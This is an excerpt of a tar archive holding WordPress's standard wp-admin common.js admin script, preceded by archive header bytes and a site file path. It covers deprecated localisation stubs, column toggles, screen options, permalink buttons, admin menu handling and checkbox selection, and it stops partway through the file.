nWd�yp�`p���c�uP�7�_�?�>|>|>|>|����t^�<common.js.tar000064400000170000150276633110007161 0ustar00home/natitnen/crestassured.com/wp-admin/js/common.js000064400000164052150262657250016600 0ustar00/**
 * @output wp-admin/js/common.js
 */

/* global setUserSetting, ajaxurl, alert, confirm, pagenow */
/* global columns, screenMeta */

/**
 *  Adds common WordPress functionality to the window.
 *
 *  @param {jQuery} $        jQuery object.
 *  @param {Object} window   The window object.
 *  @param {mixed} undefined Unused.
 */
( function( $, window, undefined ) {
	var $document = $( document ),
		$window = $( window ),
		$body = $( document.body ),
		__ = wp.i18n.__,
		sprintf = wp.i18n.sprintf;

/**
 * Throws an error for a deprecated property.
 *
 * @since 5.5.1
 *
 * @param {string} propName    The property that was used.
 * @param {string} version     The version of WordPress that deprecated the property.
 * @param {string} replacement The property that should have been used.
 */
function deprecatedProperty( propName, version, replacement ) {
	var message;

	if ( 'undefined' !== typeof replacement ) {
		message = sprintf(
			/* translators: 1: Deprecated property name, 2: Version number, 3: Alternative property name. */
			__( '%1$s is deprecated since version %2$s! Use %3$s instead.' ),
			propName,
			version,
			replacement
		);
	} else {
		message = sprintf(
			/* translators: 1: Deprecated property name, 2: Version number. */
			__( '%1$s is deprecated since version %2$s with no alternative available.' ),
			propName,
			version
		);
	}

	window.console.warn( message );
}

/**
 * Deprecate all properties on an object.
 *
 * @since 5.5.1
 * @since 5.6.0 Added the `version` parameter.
 *
 * @param {string} name       The name of the object, i.e. commonL10n.
 * @param {object} l10nObject The object to deprecate the properties on.
 * @param {string} version    The version of WordPress that deprecated the property.
 *
 * @return {object} The object with all its properties deprecated.
 */
function deprecateL10nObject( name, l10nObject, version ) {
	var deprecatedObject = {};

	Object.keys( l10nObject ).forEach( function( key ) {
		var prop = l10nObject[ key ];
		var propName = name + '.' + key;

		if ( 'object' === typeof prop ) {
			Object.defineProperty( deprecatedObject, key, { get: function() {
				deprecatedProperty( propName, version, prop.alternative );
				return prop.func();
			} } );
		} else {
			Object.defineProperty( deprecatedObject, key, { get: function() {
				deprecatedProperty( propName, version, 'wp.i18n' );
				return prop;
			} } );
		}
	} );

	return deprecatedObject;
}

window.wp.deprecateL10nObject = deprecateL10nObject;

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.6.0
 * @deprecated 5.5.0
 */
window.commonL10n = window.commonL10n || {
	warnDelete: '',
	dismiss: '',
	collapseMenu: '',
	expandMenu: ''
};

window.commonL10n = deprecateL10nObject( 'commonL10n', window.commonL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.3.0
 * @deprecated 5.5.0
 */
window.wpPointerL10n = window.wpPointerL10n || {
	dismiss: ''
};

window.wpPointerL10n = deprecateL10nObject( 'wpPointerL10n', window.wpPointerL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.3.0
 * @deprecated 5.5.0
 */
window.userProfileL10n = window.userProfileL10n || {
	warn: '',
	warnWeak: '',
	show: '',
	hide: '',
	cancel: '',
	ariaShow: '',
	ariaHide: ''
};

window.userProfileL10n = deprecateL10nObject( 'userProfileL10n', window.userProfileL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.6
 * @deprecated 5.5.0
 */
window.privacyToolsL10n = window.privacyToolsL10n || {
	noDataFound: '',
	foundAndRemoved: '',
	noneRemoved: '',
	someNotRemoved: '',
	removalError: '',
	emailSent: '',
	noExportFile: '',
	exportError: ''
};

window.privacyToolsL10n = deprecateL10nObject( 'privacyToolsL10n', window.privacyToolsL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.6.0
 * @deprecated 5.5.0
 */
window.authcheckL10n = {
	beforeunload: ''
};

window.authcheckL10n = window.authcheckL10n || deprecateL10nObject( 'authcheckL10n', window.authcheckL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.8.0
 * @deprecated 5.5.0
 */
window.tagsl10n = {
	noPerm: '',
	broken: ''
};

window.tagsl10n = window.tagsl10n || deprecateL10nObject( 'tagsl10n', window.tagsl10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.adminCommentsL10n = window.adminCommentsL10n || {
	hotkeys_highlight_first: {
		alternative: 'window.adminCommentsSettings.hotkeys_highlight_first',
		func: function() { return window.adminCommentsSettings.hotkeys_highlight_first; }
	},
	hotkeys_highlight_last: {
		alternative: 'window.adminCommentsSettings.hotkeys_highlight_last',
		func: function() { return window.adminCommentsSettings.hotkeys_highlight_last; }
	},
	replyApprove: '',
	reply: '',
	warnQuickEdit: '',
	warnCommentChanges: '',
	docTitleComments: '',
	docTitleCommentsCount: ''
};

window.adminCommentsL10n = deprecateL10nObject( 'adminCommentsL10n', window.adminCommentsL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.tagsSuggestL10n = window.tagsSuggestL10n || {
	tagDelimiter: '',
	removeTerm: '',
	termSelected: '',
	termAdded: '',
	termRemoved: ''
};

window.tagsSuggestL10n = deprecateL10nObject( 'tagsSuggestL10n', window.tagsSuggestL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.5.0
 * @deprecated 5.5.0
 */
window.wpColorPickerL10n = window.wpColorPickerL10n || {
	clear: '',
	clearAriaLabel: '',
	defaultString: '',
	defaultAriaLabel: '',
	pick: '',
	defaultLabel: ''
};

window.wpColorPickerL10n = deprecateL10nObject( 'wpColorPickerL10n', window.wpColorPickerL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 5.5.0
 */
window.attachMediaBoxL10n = window.attachMediaBoxL10n || {
	error: ''
};

window.attachMediaBoxL10n = deprecateL10nObject( 'attachMediaBoxL10n', window.attachMediaBoxL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.postL10n = window.postL10n || {
	ok: '',
	cancel: '',
	publishOn: '',
	publishOnFuture: '',
	publishOnPast: '',
	dateFormat: '',
	showcomm: '',
	endcomm: '',
	publish: '',
	schedule: '',
	update: '',
	savePending: '',
	saveDraft: '',
	'private': '',
	'public': '',
	publicSticky: '',
	password: '',
	privatelyPublished: '',
	published: '',
	saveAlert: '',
	savingText: '',
	permalinkSaved: ''
};

window.postL10n = deprecateL10nObject( 'postL10n', window.postL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 5.5.0
 */
window.inlineEditL10n = window.inlineEditL10n || {
	error: '',
	ntdeltitle: '',
	notitle: '',
	comma: '',
	saved: ''
};

window.inlineEditL10n = deprecateL10nObject( 'inlineEditL10n', window.inlineEditL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 5.5.0
 */
window.plugininstallL10n = window.plugininstallL10n || {
	plugin_information: '',
	plugin_modal_label: '',
	ays: ''
};

window.plugininstallL10n = deprecateL10nObject( 'plugininstallL10n', window.plugininstallL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.0.0
 * @deprecated 5.5.0
 */
window.navMenuL10n = window.navMenuL10n || {
	noResultsFound: '',
	warnDeleteMenu: '',
	saveAlert: '',
	untitled: ''
};

window.navMenuL10n = deprecateL10nObject( 'navMenuL10n', window.navMenuL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.commentL10n = window.commentL10n || {
	submittedOn: '',
	dateFormat: ''
};

window.commentL10n = deprecateL10nObject( 'commentL10n', window.commentL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.9.0
 * @deprecated 5.5.0
 */
window.setPostThumbnailL10n = window.setPostThumbnailL10n || {
	setThumbnail: '',
	saving: '',
	error: '',
	done: ''
};

window.setPostThumbnailL10n = deprecateL10nObject( 'setPostThumbnailL10n', window.setPostThumbnailL10n, '5.5.0' );

/**
 * Removed in 3.3.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 3.3.0
 */
window.adminMenu = {
	init : function() {},
	fold : function() {},
	restoreMenuState : function() {},
	toggle : function() {},
	favorites : function() {}
};

// Show/hide/save table columns.
window.columns = {

	/**
	 * Initializes the column toggles in the screen options.
	 *
	 * Binds an onClick event to the checkboxes to show or hide the table columns
	 * based on their toggled state. And persists the toggled state.
	 *
	 * @since 2.7.0
	 *
	 * @return {void}
	 */
	init : function() {
		var that = this;
		$('.hide-column-tog', '#adv-settings').on( 'click', function() {
			var $t = $(this), column = $t.val();
			if ( $t.prop('checked') )
				that.checked(column);
			else
				that.unchecked(column);

			columns.saveManageColumnsState();
		});
	},

	/**
	 * Saves the toggled state for the columns.
	 *
	 * Saves whether the columns should be shown or hidden on a page.
	 *
	 * @since 3.0.0
	 *
	 * @return {void}
	 */
	saveManageColumnsState : function() {
		var hidden = this.hidden();
		$.post(ajaxurl, {
			action: 'hidden-columns',
			hidden: hidden,
			screenoptionnonce: $('#screenoptionnonce').val(),
			page: pagenow
		});
	},

	/**
	 * Makes a column visible and adjusts the column span for the table.
	 *
	 * @since 3.0.0
	 * @param {string} column The column name.
	 *
	 * @return {void}
	 */
	checked : function(column) {
		$('.column-' + column).removeClass( 'hidden' );
		this.colSpanChange(+1);
	},

	/**
	 * Hides a column and adjusts the column span for the table.
	 *
	 * @since 3.0.0
	 * @param {string} column The column name.
	 *
	 * @return {void}
	 */
	unchecked : function(column) {
		$('.column-' + column).addClass( 'hidden' );
		this.colSpanChange(-1);
	},

	/**
	 * Gets all hidden columns.
	 *
	 * @since 3.0.0
	 *
	 * @return {string} The hidden column names separated by a comma.
	 */
	hidden : function() {
		return $( '.manage-column[id]' ).filter( '.hidden' ).map(function() {
			return this.id;
		}).get().join( ',' );
	},

	/**
	 * Gets the checked column toggles from the screen options.
	 *
	 * @since 3.0.0
	 *
	 * @return {string} String containing the checked column names.
	 */
	useCheckboxesForHidden : function() {
		this.hidden = function(){
			return $('.hide-column-tog').not(':checked').map(function() {
				var id = this.id;
				return id.substring( id, id.length - 5 );
			}).get().join(',');
		};
	},

	/**
	 * Adjusts the column span for the table.
	 *
	 * @since 3.1.0
	 *
	 * @param {number} diff The modifier for the column span.
	 */
	colSpanChange : function(diff) {
		var $t = $('table').find('.colspanchange'), n;
		if ( !$t.length )
			return;
		n = parseInt( $t.attr('colspan'), 10 ) + diff;
		$t.attr('colspan', n.toString());
	}
};

$( function() { columns.init(); } );

/**
 * Validates that the required form fields are not empty.
 *
 * @since 2.9.0
 *
 * @param {jQuery} form The form to validate.
 *
 * @return {boolean} Returns true if all required fields are not an empty string.
 */
window.validateForm = function( form ) {
	return !$( form )
		.find( '.form-required' )
		.filter( function() { return $( ':input:visible', this ).val() === ''; } )
		.addClass( 'form-invalid' )
		.find( ':input:visible' )
		.on( 'change', function() { $( this ).closest( '.form-invalid' ).removeClass( 'form-invalid' ); } )
		.length;
};

// Stub for doing better warnings.
/**
 * Shows message pop-up notice or confirmation message.
 *
 * @since 2.7.0
 *
 * @type {{warn: showNotice.warn, note: showNotice.note}}
 *
 * @return {void}
 */
window.showNotice = {

	/**
	 * Shows a delete confirmation pop-up message.
	 *
	 * @since 2.7.0
	 *
	 * @return {boolean} Returns true if the message is confirmed.
	 */
	warn : function() {
		if ( confirm( __( 'You are about to permanently delete these items from your site.\nThis action cannot be undone.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) {
			return true;
		}

		return false;
	},

	/**
	 * Shows an alert message.
	 *
	 * @since 2.7.0
	 *
	 * @param text The text to display in the message.
	 */
	note : function(text) {
		alert(text);
	}
};

/**
 * Represents the functions for the meta screen options panel.
 *
 * @since 3.2.0
 *
 * @type {{element: null, toggles: null, page: null, init: screenMeta.init,
 *         toggleEvent: screenMeta.toggleEvent, open: screenMeta.open,
 *         close: screenMeta.close}}
 *
 * @return {void}
 */
window.screenMeta = {
	element: null, // #screen-meta
	toggles: null, // .screen-meta-toggle
	page:    null, // #wpcontent

	/**
	 * Initializes the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @return {void}
	 */
	init: function() {
		this.element = $('#screen-meta');
		this.toggles = $( '#screen-meta-links' ).find( '.show-settings' );
		this.page    = $('#wpcontent');

		this.toggles.on( 'click', this.toggleEvent );
	},

	/**
	 * Toggles the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @return {void}
	 */
	toggleEvent: function() {
		var panel = $( '#' + $( this ).attr( 'aria-controls' ) );

		if ( !panel.length )
			return;

		if ( panel.is(':visible') )
			screenMeta.close( panel, $(this) );
		else
			screenMeta.open( panel, $(this) );
	},

	/**
	 * Opens the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @param {jQuery} panel  The screen meta options panel div.
	 * @param {jQuery} button The toggle button.
	 *
	 * @return {void}
	 */
	open: function( panel, button ) {

		$( '#screen-meta-links' ).find( '.screen-meta-toggle' ).not( button.parent() ).css( 'visibility', 'hidden' );

		panel.parent().show();

		/**
		 * Sets the focus to the meta options panel and adds the necessary CSS classes.
		 *
		 * @since 3.2.0
		 *
		 * @return {void}
		 */
		panel.slideDown( 'fast', function() {
			panel.removeClass( 'hidden' ).trigger( 'focus' );
			button.addClass( 'screen-meta-active' ).attr( 'aria-expanded', true );
		});

		$document.trigger( 'screen:options:open' );
	},

	/**
	 * Closes the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @param {jQuery} panel  The screen meta options panel div.
	 * @param {jQuery} button The toggle button.
	 *
	 * @return {void}
	 */
	close: function( panel, button ) {
		/**
		 * Hides the screen meta options panel.
		 *
		 * @since 3.2.0
		 *
		 * @return {void}
		 */
		panel.slideUp( 'fast', function() {
			button.removeClass( 'screen-meta-active' ).attr( 'aria-expanded', false );
			$('.screen-meta-toggle').css('visibility', '');
			panel.parent().hide();
			panel.addClass( 'hidden' );
		});

		$document.trigger( 'screen:options:close' );
	}
};

/**
 * Initializes the help tabs in the help panel.
 *
 * @param {Event} e The event object.
 *
 * @return {void}
 */
$('.contextual-help-tabs').on( 'click', 'a', function(e) {
	var link = $(this),
		panel;

	e.preventDefault();

	// Don't do anything if the click is for the tab already showing.
	if ( link.is('.active a') )
		return false;

	// Links.
	$('.contextual-help-tabs .active').removeClass('active');
	link.parent('li').addClass('active');

	panel = $( link.attr('href') );

	// Panels.
	$('.help-tab-content').not( panel ).removeClass('active').hide();
	panel.addClass('active').show();
});

/**
 * Update custom permalink structure via buttons.
 */
var permalinkStructureFocused = false,
    $permalinkStructure       = $( '#permalink_structure' ),
    $permalinkStructureInputs = $( '.permalink-structure input:radio' ),
    $permalinkCustomSelection = $( '#custom_selection' ),
    $availableStructureTags   = $( '.form-table.permalink-structure .available-structure-tags button' );

// Change permalink structure input when selecting one of the common structures.
$permalinkStructureInputs.on( 'change', function() {
	if ( 'custom' === this.value ) {
		return;
	}

	$permalinkStructure.val( this.value );

	// Update button states after selection.
	$availableStructureTags.each( function() {
		changeStructureTagButtonState( $( this ) );
	} );
} );

$permalinkStructure.on( 'click input', function() {
	$permalinkCustomSelection.prop( 'checked', true );
} );

// Check if the permalink structure input field has had focus at least once.
$permalinkStructure.on( 'focus', function( event ) {
	permalinkStructureFocused = true;
	$( this ).off( event );
} );

/**
 * Enables or disables a structure tag button depending on its usage.
 *
 * If the structure is already used in the custom permalink structure,
 * it will be disabled.
 *
 * @param {Object} button Button jQuery object.
 */
function changeStructureTagButtonState( button ) {
	if ( -1 !== $permalinkStructure.val().indexOf( button.text().trim() ) ) {
		button.attr( 'data-label', button.attr( 'aria-label' ) );
		button.attr( 'aria-label', button.attr( 'data-used' ) );
		button.attr( 'aria-pressed', true );
		button.addClass( 'active' );
	} else if ( button.attr( 'data-label' ) ) {
		button.attr( 'aria-label', button.attr( 'data-label' ) );
		button.attr( 'aria-pressed', false );
		button.removeClass( 'active' );
	}
}

// Check initial button state.
$availableStructureTags.each( function() {
	changeStructureTagButtonState( $( this ) );
} );

// Observe permalink structure field and disable buttons of tags that are already present.
$permalinkStructure.on( 'change', function() {
	$availableStructureTags.each( function() {
		changeStructureTagButtonState( $( this ) );
	} );
} );

$availableStructureTags.on( 'click', function() {
	var permalinkStructureValue = $permalinkStructure.val(),
	    selectionStart          = $permalinkStructure[ 0 ].selectionStart,
	    selectionEnd            = $permalinkStructure[ 0 ].selectionEnd,
	    textToAppend            = $( this ).text().trim(),
	    textToAnnounce,
	    newSelectionStart;

	if ( $( this ).hasClass( 'active' ) ) {
		textToAnnounce = $( this ).attr( 'data-removed' );
	} else {
		textToAnnounce = $( this ).attr( 'data-added' );
	}

	// Remove structure tag if already part of the structure.
	if ( -1 !== permalinkStructureValue.indexOf( textToAppend ) ) {
		permalinkStructureValue = permalinkStructureValue.replace( textToAppend + '/', '' );

		$permalinkStructure.val( '/' === permalinkStructureValue ? '' : permalinkStructureValue );

		// Announce change to screen readers.
		$( '#custom_selection_updated' ).text( textToAnnounce );

		// Disable button.
		changeStructureTagButtonState( $( this ) );

		return;
	}

	// Input field never had focus, move selection to end of input.
	if ( ! permalinkStructureFocused && 0 === selectionStart && 0 === selectionEnd ) {
		selectionStart = selectionEnd = permalinkStructureValue.length;
	}

	$permalinkCustomSelection.prop( 'checked', true );

	// Prepend and append slashes if necessary.
	if ( '/' !== permalinkStructureValue.substr( 0, selectionStart ).substr( -1 ) ) {
		textToAppend = '/' + textToAppend;
	}

	if ( '/' !== permalinkStructureValue.substr( selectionEnd, 1 ) ) {
		textToAppend = textToAppend + '/';
	}

	// Insert structure tag at the specified position.
	$permalinkStructure.val( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend + permalinkStructureValue.substr( selectionEnd ) );

	// Announce change to screen readers.
	$( '#custom_selection_updated' ).text( textToAnnounce );

	// Disable button.
	changeStructureTagButtonState( $( this ) );

	// If input had focus give it back with cursor right after appended text.
	if ( permalinkStructureFocused && $permalinkStructure[0].setSelectionRange ) {
		newSelectionStart = ( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend ).length;
		$permalinkStructure[0].setSelectionRange( newSelectionStart, newSelectionStart );
		$permalinkStructure.trigger( 'focus' );
	}
} );

$( function() {
	var checks, first, last, checked, sliced, mobileEvent, transitionTimeout, focusedRowActions,
		lastClicked = false,
		pageInput = $('input.current-page'),
		currentPage = pageInput.val(),
		isIOS = /iPhone|iPad|iPod/.test( navigator.userAgent ),
		isAndroid = navigator.userAgent.indexOf( 'Android' ) !== -1,
		$adminMenuWrap = $( '#adminmenuwrap' ),
		$wpwrap = $( '#wpwrap' ),
		$adminmenu = $( '#adminmenu' ),
		$overlay = $( '#wp-responsive-overlay' ),
		$toolbar = $( '#wp-toolbar' ),
		$toolbarPopups = $toolbar.find( 'a[aria-haspopup="true"]' ),
		$sortables = $('.meta-box-sortables'),
		wpResponsiveActive = false,
		$adminbar = $( '#wpadminbar' ),
		lastScrollPosition = 0,
		pinnedMenuTop = false,
		pinnedMenuBottom = false,
		menuTop = 0,
		menuState,
		menuIsPinned = false,
		height = {
			window: $window.height(),
			wpwrap: $wpwrap.height(),
			adminbar: $adminbar.height(),
			menu: $adminMenuWrap.height()
		},
		$headerEnd = $( '.wp-header-end' );

	/**
	 * Makes the fly-out submenu header clickable, when the menu is folded.
	 *
	 * @param {Event} e The event object.
	 *
	 * @return {void}
	 */
	$adminmenu.on('click.wp-submenu-head', '.wp-submenu-head', function(e){
		$(e.target).parent().siblings('a').get(0).click();
	});

	/**
	 * Collapses the admin menu.
	 *
	 * @return {void}
	 */
	$( '#collapse-button' ).on( 'click.collapse-menu', function() {
		var viewportWidth = getViewportWidth() || 961;

		// Reset any compensation for submenus near the bottom of the screen.
		$('#adminmenu div.wp-submenu').css('margin-top', '');

		if ( viewportWidth <= 960 ) {
			if ( $body.hasClass('auto-fold') ) {
				$body.removeClass('auto-fold').removeClass('folded');
				setUserSetting('unfold', 1);
				setUserSetting('mfold', 'o');
				menuState = 'open';
			} else {
				$body.addClass('auto-fold');
				setUserSetting('unfold', 0);
				menuState = 'folded';
			}
		} else {
			if ( $body.hasClass('folded') ) {
				$body.removeClass('folded');
				setUserSetting('mfold', 'o');
				menuState = 'open';
			} else {
				$body.addClass('folded');
				setUserSetting('mfold', 'f');
				menuState = 'folded';
			}
		}

		$document.trigger( 'wp-collapse-menu', { state: menuState } );
	});

	/**
	 * Handles the `aria-haspopup` attribute on the current menu item when it has a submenu.
	 *
	 * @since 4.4.0
	 *
	 * @return {void}
	 */
	function currentMenuItemHasPopup() {
		var $current = $( 'a.wp-has-current-submenu' );

		if ( 'folded' === menuState ) {
			// When folded or auto-folded and not responsive view, the current menu item does have a fly-out sub-menu.
			$current.attr( 'aria-haspopup', 'true' );
		} else {
			// When expanded or in responsive view, reset aria-haspopup.
			$current.attr( 'aria-haspopup', 'false' );
		}
	}

	$document.on( 'wp-menu-state-set wp-collapse-menu wp-responsive-activate wp-responsive-deactivate', currentMenuItemHasPopup );

	/**
	 * Ensures an admin submenu is within the visual viewport.
	 *
	 * @since 4.1.0
	 *
	 * @param {jQuery} $menuItem The parent menu item containing the submenu.
	 *
	 * @return {void}
	 */
	function adjustSubmenu( $menuItem ) {
		var bottomOffset, pageHeight, adjustment, theFold, menutop, wintop, maxtop,
			$submenu = $menuItem.find( '.wp-submenu' );

		menutop = $menuItem.offset().top;
		wintop = $window.scrollTop();
		maxtop = menutop - wintop - 30; // max = make the top of the sub almost touch admin bar.

		bottomOffset = menutop + $submenu.height() + 1; // Bottom offset of the menu.
		pageHeight = $wpwrap.height();                  // Height of the entire page.
		adjustment = 60 + bottomOffset - pageHeight;
		theFold = $window.height() + wintop - 50;       // The fold.

		if ( theFold < ( bottomOffset - adjustment ) ) {
			adjustment = bottomOffset - theFold;
		}

		if ( adjustment > maxtop ) {
			adjustment = maxtop;
		}

		if ( adjustment > 1 && $('#wp-admin-bar-menu-toggle').is(':hidden') ) {
			$submenu.css( 'margin-top', '-' + adjustment + 'px' );
		} else {
			$submenu.css( 'margin-top', '' );
		}
	}

	if ( 'ontouchstart' in window || /IEMobile\/[1-9]/.test(navigator.userAgent) ) { // Touch screen device.
		// iOS Safari works with touchstart, the rest work with click.
		mobileEvent = isIOS ? 'touchstart' : 'click';

		/**
		 * Closes any open submenus when touch/click is not on the menu.
		 *
		 * @param {Event} e The event object.
		 *
		 * @return {void}
		 */
		$body.on( mobileEvent+'.wp-mobile-hover', function(e) {
			if ( $adminmenu.data('wp-responsive') ) {
				return;
			}

			if ( ! $( e.target ).closest( '#adminmenu' ).length ) {
				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
			}
		});

		/**
		 * Handles the opening or closing the submenu based on the mobile click|touch event.
		 *
		 * @param {Event} event The event object.
		 *
		 * @return {void}
		 */
		$adminmenu.find( 'a.wp-has-submenu' ).on( mobileEvent + '.wp-mobile-hover', function( event ) {
			var $menuItem = $(this).parent();

			if ( $adminmenu.data( 'wp-responsive' ) ) {
				return;
			}

			/*
			 * Show the sub instead of following the link if:
			 * 	- the submenu is not open.
			 * 	- the submenu is not shown inline or the menu is not folded.
			 */
			if ( ! $menuItem.hasClass( 'opensub' ) && ( ! $menuItem.hasClass( 'wp-menu-open' ) || $menuItem.width() < 40 ) ) {
				event.preventDefault();
				adjustSubmenu( $menuItem );
				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
				$menuItem.addClass('opensub');
			}
		});
	}

	if ( ! isIOS && ! isAndroid ) {
		$adminmenu.find( 'li.wp-has-submenu' ).hoverIntent({

			/**
			 * Opens the submenu when hovered over the menu item for desktops.
			 *
			 * @return {void}
			 */
			over: function() {
				var $menuItem = $( this ),
					$submenu = $menuItem.find( '.wp-submenu' ),
					top = parseInt( $submenu.css( 'top' ), 10 );

				if ( isNaN( top ) || top > -5 ) { // The submenu is visible.
					return;
				}

				if ( $adminmenu.data( 'wp-responsive' ) ) {
					// The menu is in responsive mode, bail.
					return;
				}

				adjustSubmenu( $menuItem );
				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
				$menuItem.addClass( 'opensub' );
			},

			/**
			 * Closes the submenu when no longer hovering the menu item.
			 *
			 * @return {void}
			 */
			out: function(){
				if ( $adminmenu.data( 'wp-responsive' ) ) {
					// The menu is in responsive mode, bail.
					return;
				}

				$( this ).removeClass( 'opensub' ).find( '.wp-submenu' ).css( 'margin-top', '' );
			},
			timeout: 200,
			sensitivity: 7,
			interval: 90
		});

		/**
		 * Opens the submenu on when focused on the menu item.
		 *
		 * @param {Event} event The event object.
		 *
		 * @return {void}
		 */
		$adminmenu.on( 'focus.adminmenu', '.wp-submenu a', function( event ) {
			if ( $adminmenu.data( 'wp-responsive' ) ) {
				// The menu is in responsive mode, bail.
				return;
			}

			$( event.target ).closest( 'li.menu-top' ).addClass( 'opensub' );

			/**
			 * Closes the submenu on blur from the menu item.
			 *
			 * @param {Event} event The event object.
			 *
			 * @return {void}
			 */
		}).on( 'blur.adminmenu', '.wp-submenu a', function( event ) {
			if ( $adminmenu.data( 'wp-responsive' ) ) {
				return;
			}

			$( event.target ).closest( 'li.menu-top' ).removeClass( 'opensub' );

			/**
			 * Adjusts the size for the submenu.
			 *
			 * @return {void}
			 */
		}).find( 'li.wp-has-submenu.wp-not-current-submenu' ).on( 'focusin.adminmenu', function() {
			adjustSubmenu( $( this ) );
		});
	}

	/*
	 * The `.below-h2` class is here just for backward compatibility with plugins
	 * that are (incorrectly) using it. Do not use. Use `.inline` instead. See #34570.
	 * If '.wp-header-end' is found, append the notices after it otherwise
	 * after the first h1 or h2 heading found within the main content.
	 */
	if ( ! $headerEnd.length ) {
		$headerEnd = $( '.wrap h1, .wrap h2' ).first();
	}
	$( 'div.updated, div.error, div.notice' ).not( '.inline, .below-h2' ).insertAfter( $headerEnd );

	/**
	 * Makes notices dismissible.
	 *
	 * @since 4.4.0
	 *
	 * @return {void}
	 */
	function makeNoticesDismissible() {
		$( '.notice.is-dismissible' ).each( function() {
			var $el = $( this ),
				$button = $( '<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>' );

			if ( $el.find( '.notice-dismiss' ).length ) {
				return;
			}

			// Ensure plain text.
			$button.find( '.screen-reader-text' ).text( __( 'Dismiss this notice.' ) );
			$button.on( 'click.wp-dismiss-notice', function( event ) {
				event.preventDefault();
				$el.fadeTo( 100, 0, function() {
					$el.slideUp( 100, function() {
						$el.remove();
					});
				});
			});

			$el.append( $button );
		});
	}

	$document.on( 'wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error', makeNoticesDismissible );

	// Init screen meta.
	screenMeta.init();

	/**
	 * Checks a checkbox.
	 *
	 * This event needs to be delegated. Ticket #37973.
	 *
	 * @return {boolean} Returns whether a checkbox is checked or not.
	 */
	$body.on( 'click', 'tbody > tr > .check-column :checkbox', function( event ) {
		// Shift click to select a range of checkboxes.
		if ( 'undefined' == event.shiftKey ) { return true; }
		if ( event.shiftKey ) {
			if ( !lastClicked ) { return true; }
			checks = $( lastClicked ).closest( 'form' ).find( ':checkbox' ).filter( ':visible:enabled' );
			first = checks.index( lastClicked );
			last = checks.index( this );
			checked = $(this).prop('checked');
			if ( 0 < first && 0 < last && first != last ) {
				sliced = ( last > first ) ? checks.slice( first, last ) : checks.slice( last, first );
				sliced.prop( 'checked', function() {
					if ( $(this).closest('tr').is(':visible') )
						return checked;

					return false;
				});
			}
		}
		lastClicked = this;

		// Toggle the "Select all" checkboxes depending if the other ones are all checked or not.
		var unchecked = $(this).closest('tbody').find(':checkbox').filter(':visible:enabled').not(':checked');

		/**
		 * Determines if all checkboxes are checked.
		 *
		 * @return {boolean} Returns true if there are no unchecked checkboxes.
		 */
		$(this).closest('table').children('thead, tfoot').find(':checkbox').prop('checked', function() {
			return ( 0 === unchecked.length );
		});

		return true;
	});

	/**
	 * Controls all the toggles on bulk toggle change.
	 *
	 * When the bulk checkbox is changed, all the checkboxes in the tables are changed accordingly.
	 * When the shift-button is pressed while changing the bulk checkbox the checkboxes in the table are inverted.
	 *
	 * This event needs to be delegated. Ticket #37973.
	 *
	 * @param {Event} event The event object.
	 *
	 * @return {boolean}
	 */
	$body.on( 'click.wp-toggle-checkboxes', 'thead .check-column :checkbox, tfoot .check-column :checkbox', function( event ) {
		var $this = $(this),
			$table = $this.closest( 'table' ),
			controlChecked = $this.prop('checked'),
			toggle = event.shiftKey || $this.data('wp-toggle');

		$table.children( 'tbody' ).filter(':visible')
			.children().children('.check-column').find(':checkbox')
			/**
			 * Updates the checked state on the checkbox in the table.
			 *
			 * @return {boolean} True checks the checkbox, False unchecks the checkbox.
			 */
			.prop('checked', function() {
				if ( $(this).is(':hidden,:disabled') ) {
					return false;
				}

				if ( toggle ) {
					return ! $(this).prop( 'checked' );
				} else if ( controlChecked ) {
					return true;
				}

				return false;
			});

		$table.children('thead,  tfoot').filter(':visible')
			.children().children('.check-column').find(':checkbox')

			/**
			 * Syncs the bulk checkboxes on the top and bottom of the table.
			 *
			 * @return {boolean} True checks the checkbox, False unchecks the checkbox.
			 */
			.prop('checked', function() {
				if ( toggle ) {
					return false;
				} else if ( controlChecked ) {
					return true;
				}

				return false;
			});
	});

	/**
	 * Marries a secondary control to its primary control.
	 *
	 * @param {jQuery} topSelector    The top selector element.
	 * @param {jQuery} topSubmit      The top submit element.
